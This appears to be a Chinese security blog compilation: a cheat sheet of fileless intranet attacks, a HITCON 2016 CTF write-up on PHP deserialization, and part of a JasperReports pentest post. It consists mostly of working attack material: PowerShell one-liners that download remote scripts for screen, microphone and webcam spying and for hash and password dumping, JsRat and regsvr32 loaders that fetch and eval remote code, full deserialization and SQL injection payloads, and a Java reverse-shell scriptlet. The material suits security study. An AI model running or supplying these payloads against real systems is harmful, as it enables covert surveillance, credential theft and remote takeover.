2016年10月

内网无文件攻击姿势

Powershell

屏幕监控:

powershell -nop -exec bypass -c “IEX (New-Object 
Net.WebClient).DownloadString(‘http://evi1cg.me/powershell/Show-TargetScreen.ps1’); Show-TargetScreen”

录音:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudio.ps1’);GetMicrophoneAudio
-Path $env:TEMP\secret.wav -Length 10 -Alias ‘SECRET’”

摄像头监控:

powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/xorrior/RandomPS-Scripts/master/MiniEye.ps1’); Capture-MiniEye -RecordTime 2 -
Path $env:temp\hack.avi”-Path $env:temp\hack.avi”

抓Hash:

powershell IEX (New-Object Net.WebClient).DownloadString(‘http://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1’);Get-PassHashes

抓明文:

powershell IEX (New-Object Net.WebClient).DownloadString('http://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikat

Empire:

14555940166132.png

Metasploit:

metasploit.png

js

JsRat:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.
5.1");h.Open("GET","http://127.0.0.1:8081/connect",false);try{h.S
end();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WSc
ript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

LocalNetworkScanner:

http://blog.skylined.nl/LocalNetworkScanner/

223801u4zcjrpsnwjnmj0j.png

获取客户端内网IP和外网IP(STUN)

http://github.com/diafygi/webrtc-ips

Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。

//get the IP addresses associated with an account
function getIPs(callback){
    var ip_dups = {};
 
    //compatibility for firefox and chrome
    var RTCPeerConnection = window.RTCPeerConnection
        || window.mozRTCPeerConnection
        || window.webkitRTCPeerConnection;
    var mediaConstraints = {
        optional: [{RtpDataChannels: true}]
    };
 
    //firefox already has a default stun server in about:config
    //    media.peerconnection.default_iceservers =
    //    [{"url": "stun:stun.services.mozilla.com"}]
    var servers = undefined;
 
    //add same stun server for chrome
    if(window.webkitRTCPeerConnection)
        servers = {iceServers: [{urls: "stun:stun.services.mozilla.com"}]};
 
    //construct a new RTCPeerConnection
    var pc = new RTCPeerConnection(servers, mediaConstraints);
 
    //listen for candidate events
    pc.onicecandidate = function(ice){
 
        //skip non-candidate events
        if(ice.candidate){
 
            //match just the IP address
            var ip_regex = /([0-9]{1,3}(\.[0-9]{1,3}){3})/
            var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
 
            //remove duplicates
            if(ip_dups[ip_addr] === undefined)
                callback(ip_addr);
 
            ip_dups[ip_addr] = true;
        }
    };
 
    //create a bogus data channel
    pc.createDataChannel("");
 
    //create an offer sdp
    pc.createOffer(function(result){
 
        //trigger the stun server request
        pc.setLocalDescription(result, function(){});
 
    }, function(){});
}
 
//Test: Print the IP addresses into the console
getIPs(function(ip){console.log(ip);});

Demo: http://diafygi.github.io/webrtc-ips/

mshta

启动JsRat:

Mshta javascript:"\..\mshtml,RunHTMLApplication
";document.write();h=new%20ActiveXObject("WinHttp
.WinHttpRequest.5.1");h.Open("GET","http://192.16
8.2.101:9998/connect",false);try{h.Send();b=h.Res
ponseText;eval(b);}catch(e){new%20ActiveXObject("
WScript.Shell").Run("cmd /c taskkill /f /im
mshta.exe",0,true);}

运行JSRAT:

regsvr32 /s /n /u /i:http://urlto/JSRAT.sct scrobj.dll

JSRAT.sct

<?XML version="1.0"?>
<scriptlet>
<registration 
    progid="ShortJSRAT"
    classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
    <!-- Learn from Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            rat="rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();h=new%20ActiveXObject(\"WinHttp.WinHttpRequest.5.1\");w=new%20ActiveXObject(\"WScript.Shell\");try{v=w.RegRead(\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet%20Settings\\\\ProxyServer\");q=v.split(\"=\")[1].split(\";\")[0];h.SetProxy(2,q);}catch(e){}h.Open(\"GET\",\"http://127.0.0.1/connect\",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject(\"WScript.Shell\").Run(\"cmd /c taskkill /f /im rundll32.exe\",0,true);}";
        new ActiveXObject("WScript.Shell").Run(rat,0,true);
    
        ]]>
</script>
</registration>
</scriptlet>

sct

SCT:

regsvr32 /u /s
/i:http://urlto/calc.sct scrobj.dll

calc.sct

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Empire"
    progid="Empire"
    version="1.00"
    classid="{20001111-0000-0000-0000-0000FEEDACDC}"
    >
    <!-- regsvr32 /s /i"C:\Bypass\Backdoor.sct" scrobj.dll -->
    <!-- regsvr32 /s /i:http://server/Backdoor.sct scrobj.dll -->
    <!-- That should work over a proxy and SSL/TLS... -->
    <!-- Proof Of Concept - Casey Smith @subTee -->
    <script language="JScript">
        <![CDATA[
    
            var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    
        ]]>
</script>
</registration>

<public>
    <method name="Exec"></method>
</public>
<script language="JScript">
<![CDATA[
    
    function Exec()
    {
        var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
    }
    
]]>
</script>

</scriptlet>

wsc

Wsc:

rundll32.exe
javascript:"\..\mshtml,RunHTMLApplic
ation
";document.write();GetObject("script
:http://urlto/calc.wsc")

calc.wsc

<?xml version="1.0"?>

<package>
<component id="testCalc">

<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
]]>
</script>

</component>
</package>

由HITCON 2016一道web聊一聊php反序列化漏洞

反序列化漏洞在各种语言中都较为常见,下面介绍一下php的反序列化漏洞。

1.unserialize函数

php官方文档(http://php.net/manual/en/function.unserialize.php),从中可以得到信息unserialize函数会产生一个php值,类型可能为数组、对象等等。如果被反序列化的变量为对象,在成功重构对象后php会自动调用__wakeup成员方法(如果方法存在、解构失败会返回false)同时给出了警告,不要传递给unserialize不信任的用户输入。

理解序列化的字符串(unserlialize的参数):

O:3:”foo”:2:{s:4:”file”;s:9:”shell.php”;s:4:”data”;s:5:”aaaaa”;}

O:3: 参数类型为对象(object),数组(array)为a

“foo”:2: 参数名为foo,有两个值

S:4:”file”;s:9:”shell.php”; s:参数类型为字符串(数字为i),长度为4,值为file。长度为9的字符串shell.php

s:4:”data”;s:5:”aaaaa”;} 长度为4的字符串data,长度为5的字符串aaaaa

object foo,属性file:shell.php,属性data:aaaaa

2.反序列化漏洞

php反序列化漏洞又称对象注入,可能会导致远程代码执行(RCE)

个人理解漏洞为执行unserialize函数,调用某一类并执行魔术方法(magic method),之后可以执行类中函数,产生安全问题。

所以漏洞的前提:

  • 1)unserialize函数的变量可控
  • 2)php文件中存在可利用的类,类中有魔术方法

利用场景在ctf、代码审计中常见,黑盒测试要通过检查cookie等有没有序列化的值来查看。

反序列化漏洞比如去年12月的joomla反序列化漏洞、SugarCRM v6.5.23 PHP反序列化对象注入漏洞,ctf中比如三个白帽第三期、安恒杯web3。

防御方法主要有对参数进行处理、换用更安全的函数。

推荐阅读:SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析

3.反序列化练习

如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

如下为一个php文件源码,我们定义了一个对象之后又创建了对象并输出了序列化的字符串

<?php 

// 某类 

class User 

{ 

  // 类数据 

  public $age = 0; 

  public $name = ''; 

  // 输出数据 

  public function PrintData() 

  { 

    echo 'User ' . $this->name . ' is ' . $this->age 

      . ' years old. <br />'; 

  } 

} 

// 创建一个对象 

$usr = new User(); 

// 设置数据  

$usr->age = 20; 

$usr->name = 'John';  

// 输出数据  

$usr->PrintData();  

// 输出序列化之后的数据  

echo serialize($usr); 

?>

输出为:

User John is 20 years old.

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}

以下代码同上,不过并没有创建对象,而是使用unserialize函数调用了这个类。大家可以试一下。

<?php 

// 某类 

class User 

{ 

// Class data  

  public $age = 0; 

  public $name = '';  

  // Print data 
 public function PrintData() 

  { 

    echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; 

  } 

} 

// 重建对象 

$usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');  

// 调用PrintData 输出数据  

$usr->PrintData();  

?>

输出为:

User John is 20 years old

这个函数中的序列化字符串为’O:4:”User”:2:{s:3:”age”;i:20;s:4:”name”;s:4:”John”;}’,即一个user对象,属性值age为20,属性值name为john。调用user类并给属性赋了值,在有魔术方法时会自动调用。

4.writeup实战

以本次HITCON 2016的web题babytrick为例:

访问链接 http://52.198.42.246/ 可以看到源代码如下:

(目前已关闭,可访问https://github.com/orangetw/My-CTF-Web-Challenges/tree/master/hitcon-ctf-2016/babytrick查看源码

<?php

include "config.php";

class HITCON{

  private $method;

  private $args;

  private $conn;

  public function __construct($method, $args) {

    $this->method = $method;

    $this->args = $args;

    $this->__conn();

  }

  function show() {

    list($username) = func_get_args();

    $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username);

    $obj = $this->__query($sql);

    if ( $obj != false ) {

      $this->__die( sprintf("%s is %s", $obj->username, $obj->role) );

    } else {

      $this->__die("Nobody Nobody But You!");

    }  

  }

  function login() {

    global $FLAG;

    list($username, $password) = func_get_args();

    $username = strtolower(trim(mysql_escape_string($username)));

    $password = strtolower(trim(mysql_escape_string($password)));

    $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password);

    if ( $username == 'orange' || stripos($sql, 'orange') != false ) {

      $this->__die("Orange is so shy. He do not want to see you.");

    }

    $obj = $this->__query($sql);

    if ( $obj != false && $obj->role == 'admin' ) {

      $this->__die("Hi, Orange! Here is your flag: " . $FLAG);

    } else {

      $this->__die("Admin only!");

    }

  }

  function source() {

    highlight_file(__FILE__);

  }

  function __conn() {

    global $db_host, $db_name, $db_user, $db_pass, $DEBUG;

    if (!$this->conn)

      $this->conn = mysql_connect($db_host, $db_user, $db_pass);

    mysql_select_db($db_name, $this->conn);

    if ($DEBUG) {

      $sql = "CREATE TABLE IF NOT EXISTS users (

            username VARCHAR(64),

            password VARCHAR(64),

            role VARCHAR(64)

          ) CHARACTER SET utf8";

      $this->__query($sql, $back=false);

      $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')";

      $this->__query($sql, $back=false);

    }

    mysql_query("SET names utf8");

    mysql_query("SET sql_mode = 'strict_all_tables'");

  }

  function __query($sql, $back=true) {

    $result = @mysql_query($sql);

    if ($back) {

      return @mysql_fetch_object($result);

    }

  }

  function __die($msg) {

    $this->__close();

    header("Content-Type: application/json");

    die( json_encode( array("msg"=> $msg) ) );

  }

  function __close() {

    mysql_close($this->conn);

  }

  function __destruct() {

    $this->__conn();

    if (in_array($this->method, array("show", "login", "source"))) {

      @call_user_func_array(array($this, $this->method), $this->args);

    } else {

      $this->__die("What do you do?");

    }

    $this->__close();

  }

  function __wakeup() {

    foreach($this->args as $k => $v) {

      $this->args[$k] = strtolower(trim(mysql_escape_string($v)));

    }

  }

}

if(isset($_GET["data"])) {

  @unserialize($_GET["data"]);  

} else {

  new HITCON("source", array());

}

从源码中可以看到使用了unserialize函数并且没有过滤,且定义了类。所以想到php反序列化漏洞、对象注入。

要想得到flag,需要利用反序列化执行类中函数login。首先需要用户orange密码(如果存在orange的话),于是利用类中show函数得到密码。

show函数我们可以看出未对参数进行过滤,可以进行sql注入,构造语句为:

bla’ union select password,username,password from users where username=’orange’– –

那么如何使用反序列化执行函数呢?注意到类中有魔术方法__wakeup,其中函数会对我们的输入进行过滤、转义。

如何绕过__wakeup呢?谷歌发现了CVE-2016-7124,一个月前爆出的。简单来说就是当序列化字符串中,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup的执行。参考https://bugs.php.net/bug.php?id=72663,某一种情况下,出错的对象不会被毁掉,会绕过__wakeup函数、引用其他的魔术方法。

官方exp如下:

<?php

class obj implements Serializable {

  var $data;

  function serialize() {

    return serialize($this->data);

  }

  function unserialize($data) {

    $this->data = unserialize($data);

  }

}

$inner = 'a:1:{i:0;O:9:"Exception":2:{s:7:"'."".'*'."".'file";R:4;}';

$exploit = 'a:2:{i:0;C:3:"obj":'.strlen($inner).':{'.$inner.'}i:1;R:4;}';

$data = unserialize($exploit);

echo $data[1];

?>

根据poc进行改造如下,计入了

O:9:"Exception":2:{s:7:"*file";R:4;};}
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"password";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这种情况下就不会执行__wakeup方法。

(同时该cve介绍了另一种情况,即成员属性数目大于实际数目时可绕过wakeup方法,把 O:6:”HITCON”:3 中的3改为任意比3大数字即可,如5。另一种绕过方法为对wakeup过滤的绕过,利用了sql注入中的/**/

为什么构造的字符串为“%00HITCON%00…”呢?k14us大佬告诉我序列化时生成的序列化字符串中类名前后本来就会有0×00,url编码下为%00。可以echo(serialize($o))查看。前面举的例子之所以没用%00是因为成员属性为private。

如果在文件里直接调试就不用url编码,直接” HITCON …”即可(%00替换为空格

加入注入语句为:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:2:{i:0;s:83:"bla’ union select password,username,password from users where username=’orange’– –";i:1;s:6:"phddaa";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到结果:

{“msg”:”babytrick1234 is babytrick1234″}

构造好:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

这时会返回

{“msg”:”Orange is so shy. He do not want to see you.”}

接下来考虑如何绕过,注意到__conn方法中有 mysql_query(“SET names utf8″); 观察到php的字符编码不是utf8,考虑利用字符差异绕过。目前看到的两个wp利用的字母有Ą、Ã,可实现绕过。

poc为:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了空白页面,注意到 s:6:”orÃnge” ,改为s:6:”orÃnge” ,构造如下:

O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:13:"babytrick1234";}s:12:"%00HITCON%00conn";O:9:"Exception":2:{s:7:"*file";R:4;};}}

得到了结果,很开心有木有?

{“msg”:”Hi, Orange! Here is your flag: hitcon{php 4nd mysq1 are s0 mag1c, isn’t it?}”}

参考资料:

Hacking JasperReports:隐藏的SHELL特征

前言

不久前,我的同事跟我在对一个客户端进行渗透测试。我们确实发现的一件事是,他们留下了几个联网JasperReports服务器。寻找默认管理帐户的用户名并没有花费太多的精力。

login.png

也没有用多久我们就猜解出密码是“jasperadmin”

我从前听过JasperReports但从来没有碰到过要对它进行渗透测试。一个快速的google搜索也没有对前期工作产生多大的作用。尽管这个管理界面很不常见但是它也没有摆脱以某种方式来执行代码,所以顺利成章的我们开始在渗透旅程中把JasperReports渗透测试添加进“容易成功”的列表。

代码和小脚本

JasperReports的目的是提取数据从各种各样的来源,例如:databases, xml, flat files等等,并且基于用户定义的模板用某种方式生成一份漂亮的报告。模板在JasperReports被定义为“JRXML”文件,任何拥有创建编辑报告权限的用户都可以上传它。

JasperReports的设计者允许数据在被包含在报告之前自定义操作。接下来就是利用一些小技巧用Java来编写一段脚本!我想也许你会看到这个。

我们的目标呢,就是创建一个报告模板(JRXML file)当然是依旧定制的恶意脚本,当它运行时,我们可以收到一个shell。这篇文章的其余部分将会详细描述我们是如何将脚本和报告模板联系到一起的。

编辑模板

我们仅仅编辑一个存在的模板而不是创建一个。以下是我们将使用的模板。注意一下,过于复杂以及其中的90%是完全不必要的。下面这个只是一个带有“JasperStudio”的简单样本报告。35–42行是有趣的一个部分,我在这个部分插入了“ShellScriptlet”。

shell.jrxml

<?xml version="1.0" encoding="UTF-8"?>
<!-- Created with Jaspersoft Studio version 6.0.1.final using JasperReports Library version 6.0.0 -->
<!-- 2016-10-04T14:01:12 -->
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="AllAccounts" pageWidth="595" pageHeight="842" whenNoDataType="AllSectionsNoDetail" columnWidth="515" leftMargin="40" rightMargin="40" topMargin="50" bottomMargin="50" isSummaryWithPageHeaderAndFooter="true" uuid="17f4b3c5-e096-4a65-b030-ed3bb58ce311">
<property name="net.sf.jasperreports.export.pdf.tag.language" value="EN-US"/>
<style name="Sans_Normal" isDefault="true" fontName="DejaVu Sans" fontSize="12"/>
<style name="Sans_Bold" fontName="DejaVu Sans" fontSize="12" isBold="true"/>
<style name="Sans_Italic" fontName="DejaVu Sans" fontSize="12" isItalic="true"/>
<style name="PageHeader" style="Sans_Bold" forecolor="#FFFFFF" backcolor="#333333"/>
<style name="detail" fontName="DejaVu Sans" fontSize="12">
<conditionalStyle>
<conditionExpression><![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]></conditionExpression>
<style mode="Opaque" backcolor="#E0E0E0"/>
</conditionalStyle>
</style>
<subDataset name="Table Dataset 1" uuid="4fcc1d09-9859-48ee-bb6f-8d369bd49113">
<queryString>
<![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]>
</queryString>
<field name="name" class="java.lang.String"/>
<field name="phone_office" class="java.lang.String"/>
<field name="billing_address_city" class="java.lang.String"/>
<field name="billing_address_street" class="java.lang.String"/>
<field name="billing_address_country" class="java.lang.String"/>
<sortField name="billing_address_country"/>
<sortField name="billing_address_city"/>
<variable name="CityyNumber" class="java.lang.Integer" incrementType="Group" incrementGroup="CityGroup" calculation="Count">
<variableExpression><![CDATA[Boolean.TRUE]]></variableExpression>
<initialValueExpression><![CDATA[new Integer(0)]]></initialValueExpression>
</variable>
<group name="CityGroup">
<groupExpression><![CDATA[$F{billing_address_city}]]></groupExpression>
</group>
</subDataset>
<scriptlet name="ShellScriptlet" class="foxglove.shell.ShellScriptlet">
<scriptletDescription><![CDATA[]]></scriptletDescription>
</scriptlet>
<title>
<band height="79" splitType="Stretch">
<textField>
<reportElement x="227" y="20" width="100" height="30" uuid="32a2a8ff-d90a-48d7-b044-5325b5c6264f"/>
<textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression>
</textField>
</band>
</title>
<pageFooter>
<band height="40">
    <line>
<reportElement x="0" y="10" width="515" height="1" uuid="19826638-0487-4bb5-9b15-7e7af63b8dce">
<property name="net.sf.jasperreports.export.pdf.tag.table" value="end"/>
</reportElement>
</line>
<textField isStretchWithOverflow="true">
<reportElement x="200" y="20" width="80" height="16" uuid="6f072af1-756c-49f4-82f3-af59e8124296"/>
<textElement textAlignment="Right"/>
<textFieldExpression><![CDATA["Page " + String.valueOf($V{PAGE_NUMBER}) + " of"]]></textFieldExpression>
</textField>
<textField isStretchWithOverflow="true" evaluationTime="Report">
<reportElement x="280" y="20" width="75" height="16" uuid="02b15e9e-d360-4b82-a140-54b9bd3b0e81"/>
<textElement textAlignment="Left"/>
<textFieldExpression><![CDATA[" " + String.valueOf($V{PAGE_NUMBER})]]></textFieldExpression>
</textField>
</band>
</pageFooter>
<summary>
<band height="149" splitType="Stretch">
<image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon">
<reportElement positionType="Float" x="0" y="71" width="250" height="70" uuid="aa8a8976-039f-45ac-84f3-d8d55b442410"/>
<imageExpression><![CDATA["repo:LogoLink"]]></imageExpression>
<hyperlinkTooltipExpression><![CDATA["JasperReports Logo"]]></hyperlinkTooltipExpression>
</image>
<image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon">
<reportElement positionType="Float" x="265" y="71" width="250" height="70" uuid="4b5dd0d1-9011-42cf-ab07-f80c02d3d166"/>
<imageExpression><![CDATA["repo:AllAccounts_Res2"]]></imageExpression>
<hyperlinkTooltipExpression><![CDATA["Jaspersoft Logo"]]></hyperlinkTooltipExpression>
</image>
<componentElement>
<reportElement key="table" x="0" y="0" width="515" height="70" uuid="db3dd84a-3743-43b3-ab7e-c4aebdb907df"/>
<jr:table xmlns:jr="http://jasperreports.sourceforge.net/jasperreports/components" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports/components http://jasperreports.sourceforge.net/xsd/components.xsd" whenNoDataType="AllSectionsNoDetail">
<datasetRun subDataset="Table Dataset 1" uuid="3b2a079f-f600-46a6-a7af-720c4e939e7e">
<connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression>
</datasetRun>
<jr:columnGroup width="515" uuid="1e5d630a-c8f9-4dbb-8415-393f7624ca35">
<jr:groupHeader groupName="CityGroup">
<jr:cell height="30" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="Sans_Bold" positionType="Float" mode="Opaque" x="0" y="14" width="515" height="16" isPrintWhenDetailOverflows="true" backcolor="#C0C0C0" uuid="aeafecc2-ef7e-435c-ae07-1f45ed6b179a"/>
<box leftPadding="0" bottomPadding="0" rightPadding="0">
<bottomPen lineWidth="1.0" lineStyle="Solid"/>
</box>
<textElement textAlignment="Left"/>
<textFieldExpression><![CDATA[" " + String.valueOf($V{CityyNumber}.intValue() + 1) + ". " + $F{billing_address_city}+ ", " + $F{billing_address_country}]]></textFieldExpression>
<anchorNameExpression><![CDATA[String.valueOf($F{billing_address_city})]]></anchorNameExpression>
</textField>
</jr:cell>
</jr:groupHeader>
<jr:column width="30" uuid="43ffff20-e89f-4f73-ad8d-878e9581274a">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="30" height="16" isPrintWhenDetailOverflows="true" uuid="a76dcb9c-8601-48bc-b9cc-3d1c316e537d">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
<property name="net.sf.jasperreports.export.pdf.tag.colspan" value="1"/>
</reportElement>
<textFieldExpression><![CDATA[" "]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell height="20" rowSpan="1">
<textField>
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="30" height="20" isPrintWhenDetailOverflows="true" uuid="73a40f28-2c08-4849-a2a9-b83ade7a6b7d">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="10">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textElement textAlignment="Right"/>
<textFieldExpression><![CDATA[$V{CityGroup_COUNT}+"."]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
<jr:column width="240" uuid="d472eeed-282a-402b-9044-a397ca270655">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="240" height="16" isPrintWhenDetailOverflows="true" uuid="bd0d4582-5684-4e15-8623-b3f1940bf1bb">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
<property name="net.sf.jasperreports.export.pdf.tag.colspan" value="2"/>
</reportElement>
<box leftPadding="0" bottomPadding="0" rightPadding="0"/>
<textFieldExpression><![CDATA["Name"]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell style="detail" height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="240" height="20" isPrintWhenDetailOverflows="true" uuid="23562605-5611-41d8-8a40-98ad9d28834a">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textFieldExpression><![CDATA[$F{name}]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
<jr:column width="100" uuid="4612e5a3-cb0d-4533-9b54-9ad9828acbed">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="100" height="16" isPrintWhenDetailOverflows="true" uuid="d81f1db2-9f2e-4665-aa47-3d1a49cc9d15">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
</reportElement>
<box leftPadding="10" bottomPadding="0" rightPadding="0"/>
<textFieldExpression><![CDATA["Phone"]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="100" height="20" isPrintWhenDetailOverflows="true" uuid="e48d7dee-a092-45ea-8bd8-8440f76a9fd0">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textFieldExpression><![CDATA[$F{phone_office}]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
<jr:column width="145" uuid="f0397b7d-4130-4b13-88b1-d89415b269bd">
<jr:columnHeader height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="145" height="16" isPrintWhenDetailOverflows="true" uuid="0a1206b8-d0d6-4809-a424-3d7f09606b44">
<property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/>
</reportElement>
<box leftPadding="0" bottomPadding="0" rightPadding="0"/>
<textFieldExpression><![CDATA["Address"]]></textFieldExpression>
</textField>
</jr:columnHeader>
<jr:detailCell height="20" rowSpan="1">
<textField isStretchWithOverflow="true">
<reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="145" height="20" isPrintWhenDetailOverflows="true" uuid="7bc63c7e-0224-441b-96ec-8a1bb67a0b84">
<property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/>
</reportElement>
<box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="0">
<bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/>
</box>
<textFieldExpression><![CDATA[$F{billing_address_street}]]></textFieldExpression>
</textField>
</jr:detailCell>
</jr:column>
</jr:columnGroup>
</jr:table>
</componentElement>
</band>
</summary>
</jasperReport>

接下来看42行:

<textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression>

这里我们调用一个getshell的方法在ShellScriptlet_SCRIPTLET。在35行我们定义了一个ShellScriptlet_SCRIPTLET 来引用“foxglove.shell.ShellScriptlet”中的Java代码。

<scriptlet name="ShellScriptlet" class="foxglove.shell.ShellScriptlet">
<scriptletDescription><![CDATA[]]></scriptletDescription>
</scriptlet>

这很简单,但这在Java代码本身是如何定义的呢?

编写攻击脚本

scriptlet用Java编写,需要去扩展“JRDefaultScriptlet”。我从”here”中借用了一些Java代码来反弹shell并且让这种攻击脚本成为跨平台的。下面就是结果了,要注意“host”和“port”的写法是固定的:

package foxglove.shell;
import java.io.*;
import java.net.*;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.DataInputStream;
import net.sf.jasperreports.engine.JRDefaultScriptlet;
import net.sf.jasperreports.engine.JRScriptletException;
 
public class ShellScriptlet extends JRDefaultScriptlet implements Runnable{
   Socket socket;
 
   PrintWriter socketWrite;
   BufferedReader socketRead;
 
   PrintWriter commandWrite;
   BufferedReader commandRead;
 
   static String ip;
   int port = 8080;
 
   public String getShell(){
      ip = "1.1.1.1";
      ShellScriptlet shell = new ShellScriptlet();
      shell.establishConnection();
      new Thread(shell).start();
      shell.getCommand();
      return "DONE";
   }
 
   public void run(){
      spawnShell();
   }
 
   public void spawnShell(){
      boolean windows = false;
      try{
         if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
            windows = true;
         }
 
         Runtime rt = Runtime.getRuntime();
         Process p;
         if(windows) p = rt.exec("C:\\Windows\\System32\\cmd.exe");
         else p = rt.exec("/bin/sh");
 
         InputStream readme = p.getInputStream();
         OutputStream writeme = p.getOutputStream();
         commandWrite = new PrintWriter(writeme);
         commandRead = new BufferedReader(new InputStreamReader(readme));
 
         if(windows) commandWrite.println("dir");
         else commandWrite.println("ls -al");
 
         commandWrite.flush();
 
         String line;
         while((line = commandRead.readLine()) != null){
            socketWrite.println(line);
            socketWrite.flush();
         }
 
         p.destroy();
 
      }catch(Exception e){}
 
   }
 
   public void establishConnection(){
      try{
         socket = new Socket(ip,port);
